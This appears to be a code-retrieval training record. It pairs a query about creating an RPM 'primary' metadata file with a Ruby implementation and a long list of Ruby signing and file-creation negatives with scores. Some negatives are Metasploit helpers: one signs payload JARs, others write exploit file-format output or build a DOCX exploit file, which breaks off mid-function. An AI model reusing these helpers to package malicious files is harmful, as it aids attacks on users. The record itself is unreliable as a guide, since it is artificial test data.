"def sign!(options = {})\n binary_security_token_node if options[:security_token]\n x509_data_node if options[:issuer_serial]\n\n if options[:inclusive_namespaces]\n c14n_method_node = signed_info_node.at_xpath('ds:CanonicalizationMethod', ds: 'http://www.w3.org/2000/09/xmldsig#')\n inclusive_namespaces_node = Nokogiri::XML::Node.new('ec:InclusiveNamespaces', document)\n inclusive_namespaces_node.add_namespace_definition('ec', c14n_method_node['Algorithm'])\n inclusive_namespaces_node['PrefixList'] = options[:inclusive_namespaces].join(' ')\n c14n_method_node.add_child(inclusive_namespaces_node)\n end\n\n signed_info_canon = canonicalize(signed_info_node, options[:inclusive_namespaces])\n\n signature = private_key.sign(@sign_digester.digester, signed_info_canon)\n signature_value_digest = Base64.encode64(signature).delete(\"\\n\")\n\n signature_value_node = Nokogiri::XML::Node.new('SignatureValue', document)\n signature_value_node.content = signature_value_digest\n signed_info_node.add_next_sibling(signature_value_node)\n self\n end",
"def sign?\n !Fleakr.shared_secret.blank?\n end",
"def set_signing_information(opts)\n opts = check_params(opts,[:signers])\n super(opts)\n end",
"def sign\n validate!\n\n @voter.update(\n data: @data,\n signature: @signature,\n signed_vote_at: Time.now\n )\n\n signer = @signer.new(@admin_key)\n signer.sign(@data.to_i)\n end",
"def default_signer(string_to_sign)\n key = @storage_json.authorization.signing_key\n key = OpenSSL::PKey::RSA.new(@storage_json.authorization.signing_key) unless key.respond_to?(:sign)\n digest = OpenSSL::Digest::SHA256.new\n return key.sign(digest, string_to_sign)\n end",
"def sign_metadata(metadata_xml, keypair, xmlsectool_path = nil)\n puts(\"Signing metadata locally with cert #{keypair.cert.subject}\")\n in_tmp_dir('proxy_node_meta') do |dir|\n cert_file = create_file('metadata.crt', keypair.cert.to_pem)\n key_file = create_file('metadata.key', keypair.key.to_der)\n metadata_file = create_file('metadata.xml', metadata_xml)\n\n cmd = <<~EOS\n #{xmlsectool_path} \\\n --sign \\\n --inFile #{dir}/metadata.xml \\\n --outFile #{dir}/metadata_signed.xml \\\n --certificate #{dir}/metadata.crt \\\n --key #{dir}/metadata.key \\\n --digest SHA-256\n EOS\n\n cmd_out = `#{cmd}`\n puts (cmd_out)\n File.open('metadata_signed.xml').read\n end\nend",
"def sign(key, cert, ca_certs=nil)\n m = self.entries.find { |e| e.name == \"META-INF/MANIFEST.MF\" }\n raise RuntimeError.new(\"Jar has no manifest\") unless m\n\n ca_certs ||= [ cert ]\n\n new_manifest = ''\n sigdata = \"Signature-Version: 1.0\\r\\n\"\n sigdata << \"Created-By: 1.6.0_18 (Sun Microsystems Inc.)\\r\\n\"\n sigdata << \"\\r\\n\"\n\n # Grab the sections of the manifest\n files = m.data.split(/\\r?\\n\\r?\\n/)\n if files[0] =~ /Manifest-Version/\n # keep the header as is\n new_manifest << files[0]\n new_manifest << \"\\r\\n\\r\\n\"\n files = files[1,files.length]\n end\n\n # The file sections should now look like this:\n # \"Name: metasploit/Payload.class\\r\\nSHA1-Digest: KbAIMttBcLp1zCewA2ERYkcnRU8=\\r\\n\\r\\n\"\n files.each do |f|\n next unless f =~ /Name: (.*)/\n name = $1\n e = self.entries.find { |e| e.name == name }\n if e\n digest = OpenSSL::Digest::SHA1.digest(e.data)\n manifest_section = \"Name: #{name}\\r\\n\"\n manifest_section << \"SHA1-Digest: #{[digest].pack('m').strip}\\r\\n\"\n manifest_section << \"\\r\\n\"\n\n manifest_digest = OpenSSL::Digest::SHA1.digest(manifest_section)\n\n sigdata << \"Name: #{name}\\r\\n\"\n sigdata << \"SHA1-Digest: #{[manifest_digest].pack('m')}\\r\\n\"\n new_manifest << manifest_section\n end\n end\n\n # Now overwrite with the new manifest\n m.data = new_manifest\n\n flags = 0\n flags |= OpenSSL::PKCS7::BINARY\n flags |= OpenSSL::PKCS7::DETACHED\n # SMIME and ATTRs are technically valid in the signature but they\n # both screw up the java verifier, so don't include them.\n flags |= OpenSSL::PKCS7::NOSMIMECAP\n flags |= OpenSSL::PKCS7::NOATTR\n\n signature = OpenSSL::PKCS7.sign(cert, key, sigdata, ca_certs, flags)\n sigalg = case key\n when OpenSSL::PKey::RSA; \"RSA\"\n when OpenSSL::PKey::DSA; \"DSA\"\n # Don't really know what to do if it's not DSA or RSA. Can\n # OpenSSL::PKCS7 actually sign stuff with it in that case?\n # Regardless, the java spec says signatures can only be RSA,\n # DSA, or PGP, so just assume it's PGP and hope for the best\n else; \"PGP\"\n end\n\n # SIGNFILE is the default name in documentation. MYKEY is probably\n # more common, though because that's what keytool defaults to. We\n # can probably randomize this with no ill effects.\n add_file(\"META-INF/SIGNFILE.SF\", sigdata)\n add_file(\"META-INF/SIGNFILE.#{sigalg}\", signature.to_der)\n\n return true\n end",
"def sign\n begin\n data64 = params[:data]\n data = Base64.decode64(data64)\n crypto = GPGME::Crypto.new(password: ENV[\"PASSPHRASE\"].to_s)\n signature = crypto.sign(data, signer: ENV[\"EMAIL\"].to_s, mode: GPGME::SIG_MODE_DETACH)\n render json: {\"email\": ENV[\"EMAIL\"].to_s,\n \"signature\": Base64.strict_encode64(signature.to_s)}, \n status: 200\n\n rescue => error\n render json: {\"error\": error.message},\n status: 500\n end\n end",
"def signing_input; end",
"def signing_input; end",
"def sign(params)\n string = params_to_string(params)\n\n case @sign_type\n when 'RSA'\n ::Alipay::Sign::RSA.sign(@app_private_key, string)\n when 'RSA2'\n ::Alipay::Sign::RSA2.sign(@app_private_key, string)\n else\n raise \"Unsupported sign_type: #{@sign_type}\"\n end\n end",
"def complete\n @file_to_sign = params[:file_id]\n @transfer_file_id = params[:transfer_file_id]\n signature = params[:signature]\n\n # Get an instance of the SignatureFinisher class, responsible for completing\n # the signature process.\n signature_finisher = PkiExpress::SignatureFinisher.new\n\n # Set PKI default options (see util.rb)\n set_pki_defaults(signature_finisher)\n\n # Set PDF to be signed. It's the same file we used on \"start\" step.\n signature_finisher.file_to_sign_path = get_data_path(@file_to_sign)\n\n # Set transfer file.\n signature_finisher.transfer_file_id = @transfer_file_id\n\n # Set the signature value.\n signature_finisher.signature = signature\n\n # Generate path for output file and add to signature finisher.\n output_file = generate_file_id('pdf')\n signature_finisher.output_file_path = get_data_path(output_file)\n\n # Complete the signature process.\n @signer_cert = signature_finisher.complete\n\n @signed_pdf = output_file\n end",
"def restore_default_signing_credentials()\n system($cmd_to_remove_signing_directory)\n system($cmd_to_create_new_signing_file)\n IO.copy_stream($path_to_default_signing_file, $path_to_actual_signing_file)\nend",
"def verify_signature\n if @local_path\n if RUBY_PLATFORM =~ /java/\n begin\n jarfile = java.util.jar.JarInputStream.new(FileInputStream.new(@local_path), true)\n @signature_verified = true\n rescue NativeException\n @signature_verified = false\n end\n else\n # Use IO.popen instead of system() to absorb\n # jarsigners messages to $stdout\n response = IO.popen(\"jarsigner -verify #{@local_path}\"){|io| io.gets}\n @signature_verified = ($?.exitstatus == 0)\n end\n else\n nil\n end\n end",
"def signed?\n @signed\n end",
"def sign data\n return unless @key\n\n @key.sign @digest_algorithm.new, data\n end",
"def action\n begin\n\n # Get the token for this signature (rendered in a hidden input field, see pades_signature/new.html.erb)\n token = params[:token]\n\n # Instantiate the PadesSignatureFinisher class, responsible for completing the signature process\n # (see config/initializers/restpki.rb)\n signature_finisher = RestPki::PadesSignatureFinisher.new(get_restpki_client)\n\n # Set the token\n signature_finisher.token = token\n\n # Call the finish method, which finalizes the signature process and returns the signed PDF's bytes\n signed_bytes = signature_finisher.finish\n\n # Get information about the certificate used by the user to sign the file. This field can only be acquired\n # after calling the finish method.\n @signer_cert = signature_finisher.certificate_info\n\n # At this point, you'd typically store the signed XML on your database. For demonstration purposes, we'll\n # store the XML on a temporary folder publicly accessible and render a link to it.\n\n @filename = SecureRandom.hex(10).to_s + '.pdf'\n File.open(Rails.root.join('public', 'uploads', @filename), 'wb') do |file|\n file.write(signed_bytes)\n end\n\n rescue => ex\n @error = ex\n render 'layouts/_error'\n end\n end",
"def sign(url, *options)\n temp_signer = UrlSigner::Signer.new(url, *options)\n temp_signer.sign\n end",
"def sign(t_outputs)\n # binding.pry\n Base64.encode64(private_key.sign(OpenSSL::Digest::SHA256.new, t_outputs.to_json))\n end",
"def should_sign?\n @should_sign ||= __should_sign?\n end",
"def should_sign?\n @should_sign ||= __should_sign?\n end",
"def verify_signatures spec, digests, signatures\n if only_signed and signatures.empty? then\n raise Gem::Security::Exception,\n \"unsigned gems are not allowed by the #{name} policy\"\n end\n\n digests.each do |file, digest|\n signature = signatures[file]\n raise Gem::Security::Exception, \"missing signature for #{file}\" unless\n signature\n verify_signature signature, digest.digest, spec.cert_chain\n end\n end",
"def is_signer\n if current_user == @doc.signer\n true\n else\n false\n redirect_to root_path, notice: \"Вы не имеете прав подписывать или отказывать в подписи этого документа\"\n end\n end",
"def sign\n fail NotImplementedError\n end",
"def sign_with(fingerprint_id, signature)\n @signatures[fingerprint_id] = signature\n end",
"def test_signed\n mail = Notifier.fufu_signed(\"<destination@foobar.com>\", \"<demo@foobar.com>\")\n\n assert_equal mail.delivery_method.settings[:address], 'smtp.com'\n assert_equal mail.from, [ \"demo@foobar.com\" ]\n\n found = false\n for part in mail.parts do\n if part.content_type =~ /application\\/x-pkcs7-signature/\n found = true\n break\n end\n end\n assert_equal found, true\n\n require 'tempfile'\n\n tf = Tempfile.new('actionmailer_x509')\n tf.write mail.encoded\n tf.flush\n\n comm = \"openssl smime -verify -in #{tf.path} -CAfile #{File.dirname(__FILE__)}/../lib/certs/ca.crt 2>&1\"\n\n success = false\n output = IO.popen(comm)\n while output.gets do\n if $_ =~ /^Verification successful/\n success = true\n end\n end\n assert_equal(success, true)\n end",
"def sign_request(options)\n options.merge!(:pub => @api_key)\n options.merge!(:key => Digest::MD5.hexdigest(@api_secret + @api_key))\n end",
"def sign(str)\n @signer.sign(str) unless str.nil? || str.empty?\n end",
"def certificate_file\n super\n end",
"def sign!(request,options = {})\n consumer.sign!(request,self,options)\n end",
"def verify_signature\n #puts \"sing in params: #{@params[\"sign\"]}\" unless @params[\"sign\"] == Alipay.generate_signature(@params, @key)\n #puts Alipay.generate_signature(@params, @key)\n @params[\"sign\"] == Tenpay.generate_signature(@params, @key) #.tap{|sig| puts \"Generated sig #{sig}\"}\n end",
"def sign(data)\n @key.sign(@algo.new, data)\n end",
"def signed_url(options = {})\n #STDERR.puts \"file.signed_url options=#{options.inspect}\"\n u = url(options)\n Aws::CF::Signer.sign_url(u)\n end",
"def sign!(request, options = {})\n consumer.sign!(request, self, options)\n end",
"def sign!(cert)\n openssl_cert = cert.cert # because model -> OpenSSL object\n openssl_cert.serial = self.next_serial\n cert.serial = self.next_serial\n openssl_cert.issuer = ca_cert.subject\n openssl_cert.sign private_key, OpenSSL::Digest::SHA1.new\n self.next_serial = self.next_serial + 1\n self.save\n nil\n end",
"def sign content\n Utils::BinUtil.to_hex(sign_to_bin(content))\n end",
"def sign(message); end",
"def update_signature!; end",
"def update_signature!; end",
"def sign(data, key, options = {})\n raise KeyError.new(\"Please provide a secret key to sign data with.\") unless key\n options = settings[:sign].merge(options)\n digest = OpenSSL::Digest.new(options[:algorithm])\n signature = OpenSSL::HMAC.digest(digest, key, data)\n encode(signature, options)\n end",
"def sign!\n params = {\n :if_updated_at => @contract.content_updated_at\n }\n\n response = @client.put self.url, { :body => params.to_json, :headers => { 'Content-Type' => 'application/json' } }\n\n if response.status != 201\n raise Inkdit::Error.new(response)\n end\n\n Inkdit::Signature.new(@client, response.parsed)\n end",
"def sign( identity, data )\n info = find_identity( identity )\n\n if info[:key].nil? && info[:from] == :file\n begin\n info[:key] = @keys.load_private_key( info[:file] )\n rescue Exception => e \n raise UserKeyManagerError,\n \"the given identity is known, \" +\n \"but the private key could not be loaded \" +\n \"(#{e.message} [#{e.class}])\"\n end\n end\n\n if info[:key]\n sig_blob = @buffers.writer\n sig_blob.write_string identity.ssh_type\n sig_blob.write_string info[:key].ssh_do_sign( data.to_s )\n return sig_blob.to_s\n end\n\n if info[:from] == :agent\n raise UserKeyManagerError,\n \"the agent is no longer available\" unless @agent\n return @agent.sign( identity, data.to_s )\n end\n\n raise UserKeyManagerError,\n \"[BUG] can't determine identity origin (#{info.inspect})\"\n end",
"def update_signature!\n result = Overcommit::Utils.execute(\n %w[git config --local] + [signature_config_key, signature]\n )\n\n verify_signature_value = @hash['verify_signatures'] ? 1 : 0\n result &&= Overcommit::Utils.execute(\n %W[git config --local #{verify_signature_config_key} #{verify_signature_value}]\n )\n\n unless result.success?\n raise Overcommit::Exceptions::GitConfigError,\n \"Unable to write to local repo git config: #{result.stderr}\"\n end\n end",
"def signing_key\n @signing_key\n end",
"def sign; adapter_class.new(self).sign; end",
"def sign\n url.query = url.query.to_s + \"&Signature=#{Utils.encode signature}\"\n self\n end",
"def set_sign\n @sign = Sign.find(params[:id])\n end",
"def sign!(key, sign_nonce = T.unsafe(nil)); end",
"def sign!(current_user, _password)\n @current_user = current_user\n unless current_user == signing_user\n raise ESignatureUserError, 'The current user does not match the user that prepared the document for signature'\n end\n\n validate_prepared_doc_digest\n set_signature_timestamp\n salt_document\n sign_document\n\n validate_signature\n @prepared_doc\n end",
"def autosign\n return unless auto = autosign?\n\n store = nil\n if auto != true\n store = autosign_store(auto)\n end\n\n Puppet::SSL::CertificateRequest.search(\"*\").each do |csr|\n sign(csr.name) if auto == true or store.allowed?(csr.name, \"127.1.1.1\")\n end\n end",
"def sellar(cert_file, key_file, password)\n nocertificado=\"\"\n certificado=\"\"\n raw = File.read cert_file\n certificate = OpenSSL::X509::Certificate.new raw\n certificate.serial.to_s(16).scan(/.{2}/).each {|v| nocertificado += v[1] }\n certificado = certificate.to_s.gsub(/^-.+/, '').gsub(/\\n/, '')\n\n digest = OpenSSL::Digest::SHA1.new\n pem_file = export_to_pem(key_file, password )\n\n pkey = OpenSSL::PKey::RSA.new( File.read(pem_file), password)\n signature = pkey.sign(OpenSSL::Digest::SHA1.new, certificado)\n #puts pkey.verify(digest, signature, certificado)\n sello =Base64.encode64(signature).gsub(/\\n/, '')\n\n set(:certificado, certificado)\n set(:nocertificado, nocertificado)\n set(:sello, sello)\n\n\n end",
"def signing_information\n super\n end",
"def signature_valid?; end",
"def is_signed=(value)\n @is_signed = value\n end",
"def verify_signature\n #puts \"sing in params: #{@params[\"sign\"]}\" unless @params[\"sign\"] == Alipay.generate_signature(@params, @key)\n #puts Alipay.generate_signature(@params, @key)\n @params[\"sign\"] == Alipay.generate_signature(@params, @key)\n end",
"def signature_params\n params.require(:signature).permit(:sign)\n end",
"def x509_smime(mail)\n if logger\n logger.debug(\"actionmailer_x509: X509 SMIME signing with p12 #{@x509_settings[:p12]}\") if should_sign?\n logger.debug(\"actionmailer_x509: X509 SMIME crypt with cert #{@x509_settings[:crypt_cert]}\") if should_crypt?\n end\n\n # We should set content_id, otherwise Mail will set content_id after signing and will broke sign\n mail.content_id ||= nil\n mail.parts.each {|p| p.content_id ||= nil}\n\n if @x509_settings[:ca_cert]\n ca_cert = OpenSSL::X509::Certificate.new( File::read(@x509_settings[:ca_cert]) )\n end\n\n # We load certificate and private key\n if @x509_settings[:sign]\n if @x509_settings[:p12]\n sign_p12 = OpenSSL::PKCS12.new(File.read(@x509_settings[:p12]), @x509_settings[:passphrase])\n\n sign_cert = sign_p12.certificate\n sign_prv_key = sign_p12.key\n elsif @x509_settings[:sign_cert] && @x509_settings[:sign_key]\n sign_cert = OpenSSL::X509::Certificate.new( File::read(@x509_settings[:sign_cert]) )\n sign_prv_key = OpenSSL::PKey::RSA.new( File::read(@x509_settings[:sign_key]), @x509_settings[:passphrase])\n else\n logger.info \"X509 signing required, but no certificate and key files configured\"\n end\n end\n\n if should_crypt?\n crypt_cert = OpenSSL::X509::Certificate.new( File::read(@x509_settings[:crypt_cert]) )\n cipher = OpenSSL::Cipher.new(@x509_settings[:crypt_cipher])\n end\n\n # Sign and crypt the mail\n # NOTE: the one following line is the slowest part of this code, signing is sloooow\n p7 = mail.encoded\n p7 = OpenSSL::PKCS7.sign(sign_cert, sign_prv_key, p7, [ca_cert || nil], OpenSSL::PKCS7::DETACHED) if sign_cert && sign_prv_key\n p7 = OpenSSL::PKCS7.encrypt([crypt_cert], (should_sign? ? OpenSSL::PKCS7::write_smime(p7) : p7), cipher, nil) if should_crypt?\n smime0 = OpenSSL::PKCS7::write_smime(p7)\n\n # Adding the signature part to the older mail\n newm = Mail.new(smime0)\n\n # We need to overwrite the content-type of the mail so MUA notices this is a signed mail\n newm.delivery_method(mail.delivery_method.class, mail.delivery_method.settings)\n newm.subject = mail.subject\n newm.to = mail.to\n newm.cc = mail.cc\n newm.from = mail.from\n newm.mime_version = mail.mime_version\n newm.date = mail.date\n @_message = newm\n end",
"def sign\n res = HTTParty.post(\n sign_url,\n body: body.to_json,\n headers: { 'Content-Type' => 'application/json' }\n )\n\n check_for_error(res)\n\n res.parsed_response\n end",
"def sign(data)\n if rsa?\n @priv.sign(OpenSSL::Digest::SHA1.new,data)\n elsif dsa?\n # DSS1 was dropped from OpenSSL in version 1.1\n # @priv.sign(OpenSSL::Digest::DSS1.new,data)\n raise StandardError, 'DSA is not supported'\n end\n end",
"def signed_or_encrypted; end",
"def presign_upload\n render plain: hmac_data, status: :ok\n end",
"def sign!(signing_profile={})\n raise \"Invalid certificate #{self.errors.full_messages}\" unless valid?\n merge_profile_with_extensions(signing_profile)\n\n openssl_cert = OpenSSL::X509::Certificate.new\n openssl_cert.version = 2\n openssl_cert.not_before = self.not_before\n openssl_cert.not_after = self.not_after\n openssl_cert.public_key = self.key_material.public_key\n\n openssl_cert.serial = self.serial_number.number\n\n openssl_cert.subject = self.distinguished_name.to_x509_name\n openssl_cert.issuer = parent.distinguished_name.to_x509_name\n\n factory = OpenSSL::X509::ExtensionFactory.new\n factory.subject_certificate = openssl_cert\n\n #NB: If the parent doesn't have an SSL body we're making this a self-signed cert\n if parent.openssl_body.nil?\n factory.issuer_certificate = openssl_cert\n else\n factory.issuer_certificate = parent.openssl_body\n end\n\n factory.config = build_openssl_config\n\n # Order matters: e.g. for self-signed, subjectKeyIdentifier must come before authorityKeyIdentifier\n self.extensions.keys.sort{|a,b| b<=>a}.each do |k|\n e = extensions[k]\n next if e.to_s.nil? or e.to_s == \"\" ## If the extension returns an empty string we won't include it\n ext = factory.create_ext(e.openssl_identifier, e.to_s, e.critical)\n openssl_cert.add_extension(ext)\n end\n\n if signing_profile[\"digest\"].nil?\n digest = OpenSSL::Digest.new(\"SHA512\")\n else\n digest = OpenSSL::Digest.new(signing_profile[\"digest\"])\n end\n\n self.openssl_body = openssl_cert.sign(parent.key_material.private_key, digest)\n end",
"def is_signed\n return @is_signed\n end",
"def sign(wallet)\n tx = Arweave::Transaction.new(data: @commit.message.to_s)\n @commit.to_tags.each do |name, value|\n tx.add_tag(name: name, value: value)\n end\n tx.sign(wallet)\n end",
"def sign_metadata_hsm(metadata_xml, signing_cert, xmlsectool_path = nil)\n puts(\"TODO: Signing metadata using HSM with cert #{signing_cert.subject}\")\n return metadata_xml\nend",
"def wrap(to_sign)\n {\n 'signatures' => [],\n 'signed' => to_sign,\n }\n end",
"def computed_signed_info\n \n llave = CFDI::Key.new @key, @password\n\n return Base64::encode64(llave.sign(OpenSSL::Digest::SHA1.new, CGI::unescapeHTML(self.canonicalized_signed_info.gsub('<TEST/>','').gsub(/\\n/, ''))))\n \n end",
"def signed?\n # Fail immediately if the request is not signed at all\n return false unless oauth_request? and authenticating_client\n # mash and compare with given signature\n self.signature == build_signature\n end",
"def sign(data)\n key.dsa_sign_asn1(data)\n end",
"def upload_signature\n @upload_signature ||=\n Base64.encode64(\n OpenSSL::HMAC.digest(\n OpenSSL::Digest::SHA1.new,\n options[:secret_access_key],\n self.policy_document\n )\n ).gsub(/\\n/, '')\n end",
"def update_signature!\n result = Overcommit::Utils.execute(\n %w[git config --local] + [signature_config_key, signature]\n )\n\n unless result.success?\n raise Overcommit::Exceptions::GitConfigError,\n \"Unable to write to local repo git config: #{result.stderr}\"\n end\n end",
"def add_signatures\n if @data_signature then\n @tar_writer.add_file 'data.tar.gz.sig', 0644 do |io|\n io.write @data_signature\n end\n end\n\n if @meta_signature then\n @tar_writer.add_file 'metadata.gz.sig', 0644 do |io|\n io.write @meta_signature\n end\n end\n end",
"def sign(request, signer)\n signature = signer.sign(request.method, request.uri, request.headers)\n request.headers[\"Authorization\"] = \"#{signer.name} #{account_name}:#{signature}\"\n request\n end",
"def set_signature\n @signature = Signature.find(params[:id])\n end",
"def set_signature\n @signature = Signature.find(params[:id])\n end",
"def signstuff(revision, data, pkeypath)\n pkey = OpenSSL::PKey::EC.new File.read pkeypath\n\n revm = revision.match(/([0-9]+)-.+/)\n oldrev = revm[1]\n newrev = oldrev.to_i + 1\n\n signature = Base64.encode64(pkey.dsa_sign_asn1(newrev.to_s+data))\nend",
"def sign(payload)\n payload = payload.merge({\n :client_id => @client_id,\n :client_secret => @client_secret,\n })\n\n scope = create_scope\n context = create_context(payload)\n s2s = create_string_to_sign(scope, context)\n signing_key = get_signing_salt\n OpenSSL::HMAC.hexdigest(@hash_algo, signing_key, s2s)\n end",
"def sign(string)\n @key.sign OpenSSL::Digest::SHA256.new, string\n end",
"def set_certificate_file(opts)\n opts = check_params(opts,[:certs])\n super(opts)\n end",
"def stored_signature; end"
] |
[
"0.7127565",
"0.6965597",
"0.6798428",
"0.6522074",
"0.648155",
"0.6389011",
"0.6235015",
"0.61595416",
"0.59772587",
"0.5942872",
"0.58809495",
"0.5870212",
"0.5870208",
"0.58613706",
"0.5851695",
"0.5768608",
"0.5758111",
"0.57299125",
"0.5698023",
"0.56455684",
"0.56163305",
"0.56147695",
"0.5595174",
"0.5586332",
"0.5552664",
"0.5548938",
"0.55486065",
"0.5513819",
"0.5480357",
"0.5480357",
"0.5473269",
"0.5468815",
"0.54681456",
"0.54680675",
"0.54599375",
"0.5452511",
"0.5436634",
"0.5434513",
"0.5409196",
"0.54030234",
"0.54030234",
"0.5391223",
"0.53799057",
"0.5376418",
"0.53753173",
"0.53724015",
"0.5360378",
"0.5356406",
"0.53369343",
"0.5334699",
"0.5333761",
"0.53233796",
"0.5322154",
"0.5311492",
"0.529753",
"0.52974343",
"0.52877593",
"0.52717084",
"0.52717084",
"0.5256078",
"0.5245869",
"0.5232147",
"0.5222918",
"0.5215891",
"0.5215754",
"0.5212441",
"0.52097815",
"0.5198716",
"0.51966286",
"0.51951283",
"0.5176296",
"0.51691383",
"0.51628476",
"0.51396626",
"0.5128886",
"0.5114789",
"0.50974727",
"0.50929534",
"0.5092716",
"0.50860524",
"0.50541294",
"0.5042345",
"0.5042065",
"0.50392365",
"0.50377095",
"0.50329244",
"0.50308675",
"0.50217915",
"0.5020494",
"0.5020181",
"0.49830544",
"0.4982953",
"0.49626333",
"0.49541664",
"0.49541664",
"0.4952393",
"0.49409175",
"0.4939959",
"0.4939263",
"0.49384865"
] |
0.78094
|
0
|
Create a primary file
|
def primary_file(origin_name, dist_name, component_name, packages)
content = {
:metadata => {
:@xmlns => XMLNS_MAP[:common],
"@xmlns:rpm" => XMLNS_MAP[:rpm],
:@packages => packages.size,
:package => packages.map { |package|
{
:@type => "rpm",
:name => package["NAME"],
:arch => package["ARCH"],
:version => {
:@epoch => package["EPOCHNUM"],
:@ver => package["VERSION"],
:@rel => package["RELEASE"].split(".").first,
},
:checksum => [
{
:@type => "sha",
:@pkgid => "YES",
},
package[:generated_sha],
],
:summary => package["SUMMARY"],
:description => [package["DESCRIPTION"]].flatten.compact.join(" "),
:packager => package["PACKAGER"],
:url => package["URL"],
:time => {
:@file => Time.now.to_i,
:@build => package["BUILDTIME"],
},
:size => {
:@archive => package["ARCHIVESIZE"],
:@package => package[:generated_size],
:@installed => package["LONGSIZE"],
},
:location => package[:generated_path],
:format => {
"rpm:license" => package["LICENSE"],
"rpm:vendor" => package["VENDOR"],
"rpm:group" => package["GROUP"],
"rpm:buildhost" => package["BUILDHOST"],
"rpm:header-range" => {
:@start => package[:generated_header][:start],
:@end => package[:generated_header][:end],
},
"rpm:provides" => {
"rpm:entry" => Array.new.tap { |entries|
pro_ver = package["PROVIDEVERSION"].dup
package["PROVIDENAME"].each_with_index do |p_name, p_idx|
item = {:@name => p_name}
if p_flag = VERSION_FLAGS[package["PROVIDEFLAGS"][p_idx]]
p_ver, p_rel = pro_ver.shift.split("-", 2)
item.merge!(:@flags => p_flag, :@ver => p_ver, :@rel => p_rel, :@epoch => package["EPOCHNUM"])
end
entries.push(item)
end
},
},
"rpm:requires" => {
"rpm:entry" => Array.new.tap { |entries|
req_ver = package["REQUIREVERSION"].dup
package["REQUIRENAME"].each_with_index do |r_name, r_idx|
item = {:@name => r_name}
if r_flag = VERSION_FLAGS[package["REQUIREFLAGS"][r_idx]]
r_ver, r_rel = req_ver.shift.split("-", 2)
item.merge!(:@flags => r_flag, :@ver => r_ver, :@rel => r_rel, :@epoch => package["EPOCHNUM"])
end
entries.push(item)
end
},
},
},
}
},
},
}
args = [origin_name, dist_name, component_name, "repodata", "primary.xml"]
[
create_file(*args) do |file|
file.puts generate_xml(content)
end,
compress_file(*args),
]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def createFile (pathFile,extension,nameFile, erb)\r\n FileUtils.mkdir_p(pathFile)\r\n fileName = pathFile+nameFile+extension\r\n newFile = File.open(fileName,\"w\")\r\n newFile.print erb\r\n newFile.close\r\n end",
"def new_file\n raise \"Not a Valid Directory\" unless valid_directory?\n\n file_name = \"#{Time.now.strftime(\"%Y%m%d%H%M%S\")}_#{process}.txt\"\n \"#{output_directory_path}#{file_name}\"\n end",
"def create_file(title, description, parent_id, mime_type, file_name)\n \tinsert_file(title, description, parent_id, 'application/vnd.google-apps.file', file_name)\n\tend",
"def create_file(filename)\r\n CreateFile.new(filename)\r\n end",
"def file_create(data)\r\n\r\n\t\tfname = datastore['FILENAME']\r\n\t\tltype = \"exploit.fileformat.#{self.shortname}\"\r\n\r\n\t\tif ! ::File.directory?(Msf::Config.local_directory)\r\n\t\t\tFileUtils.mkdir_p(Msf::Config.local_directory)\r\n\t\tend\r\n\r\n\t\tpath = File.join(Msf::Config.local_directory, fname)\r\n\t\tfull_path = ::File.expand_path(path)\r\n\t\tFile.open(full_path, \"wb\") { |fd| fd.write(data) }\r\n\r\n\t\treport_note(:data => full_path.dup, :type => \"#{ltype}.localpath\")\r\n\r\n\t\tprint_good \"#{fname} stored at #{full_path}\"\r\n\r\n\tend",
"def create!\n new_file = \"#{next_number}-#{strip_title}.md\"\n @path = File.join(@dir, new_file)\n File.open(@path, 'w') do |file|\n file.write initial_content\n end\n\n new_file\n end",
"def create_file(filepath, contents = '')\n filepath = \"#{@dir}/#{@module}/#{filepath}\"\n puts \"... Creating file '#{filepath}'\"\n File.open(filepath, 'w') do |f|\n f.write contents\n end\n end",
"def create_temp_file\n copy_to_temp_file full_filename\n end",
"def createpb filename\n return \"Phonebook already exists\" if File.file?(filename)\n pb = Phonebook.new\n pb.create(filename)\nend",
"def create_file(filename, content)\n expanded_filename = \"#{working_dir}/#{filename}\"\n FileUtils.mkdir_p File.dirname(expanded_filename)\n File.open(expanded_filename, 'wb') do |f|\n f.write content\n end\n expanded_filename\n end",
"def generate file_name, picasa_id, password\n file_name = underscore file_name\n class_name = camelize file_name\n auth_token = Picasa::Authentication.authenticate picasa_id, password\n create_file file_name, class_name, picasa_id, auth_token\n end",
"def create_file(file_name, contents)\n full_path = File.expand_path(File.join(dummy_app, file_name))\n\n dir = full_path.split('/')\n dir.pop\n FileUtils.mkdir_p(dir.join('/'))\n\n File.open(full_path, 'w') { |f| f.write contents }\n end",
"def create_from_file\n end",
"def create\n output_path = ''\n\n CustomUtils.mktmpdir('knowings_api_file', \"/nfs/tmp/knowings/\") do |dir|\n metapath = create_meta(dir)\n basename = ::File.basename(@file_name, '.pdf')\n output_path = ::File.join(dir, \"#{basename}#{EXTENSION}\")\n\n POSIX::Spawn.system \"zip -j #{output_path} #{metapath} #{@filepath}\"\n end\n\n output_path\n end",
"def create_file(dst, file)\n hex = create_hex\n file_name = rename_with_file_type(file.original_filename, hex)\n write_to_file(file, dst.join(dst, file_name))\n file_name\n end",
"def create_locally\n write_file(@description, @news_name)\n write_file(@poster_file, @poster_name)\n end",
"def make_new_file\n\t\tmetadata_file_data = \"\"\n\t\tmetadata_file_data << \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"yes\\\"?><cp:coreProperties\"\n\t\tmetadata_file_data << \" xmlns:cp=\\\"http://schemas.openxmlformats.org/package/2006/metadata/core-properties\\\" \"\n\t\tmetadata_file_data << \"xmlns:dc=\\\"http://purl.org/dc/elements/1.1/\\\" xmlns:dcterms=\\\"http://purl.org/dc/terms/\\\" \"\n\t\tmetadata_file_data << \"xmlns:dcmitype=\\\"http://purl.org/dc/dcmitype/\\\" xmlns:xsi=\\\"http://www.w3.org/2001/XMLSchema-instance\\\">\"\n\t\tmetadata_file_data << \"<dc:creator>#{datastore['DOCAUTHOR']}</dc:creator><cp:lastModifiedBy>#{datastore['DOCAUTHOR']}\"\n\t\tmetadata_file_data << \"</cp:lastModifiedBy><cp:revision>1</cp:revision><dcterms:created xsi:type=\\\"dcterms:W3CDTF\\\">\"\n\t\tmetadata_file_data << \"2013-01-08T14:14:00Z</dcterms:created><dcterms:modified xsi:type=\\\"dcterms:W3CDTF\\\">\"\n\t\tmetadata_file_data << \"2013-01-08T14:14:00Z</dcterms:modified></cp:coreProperties>\"\n\n\t\t#where to find the skeleton files required for creating an empty document\n\t\tdata_dir = File.join(Msf::Config.install_root, \"data\", \"exploits\", \"docx\")\n\n\t\t#making the actual docx\n\t\tdocx = Rex::Zip::Archive.new\n\t\t#add skeleton 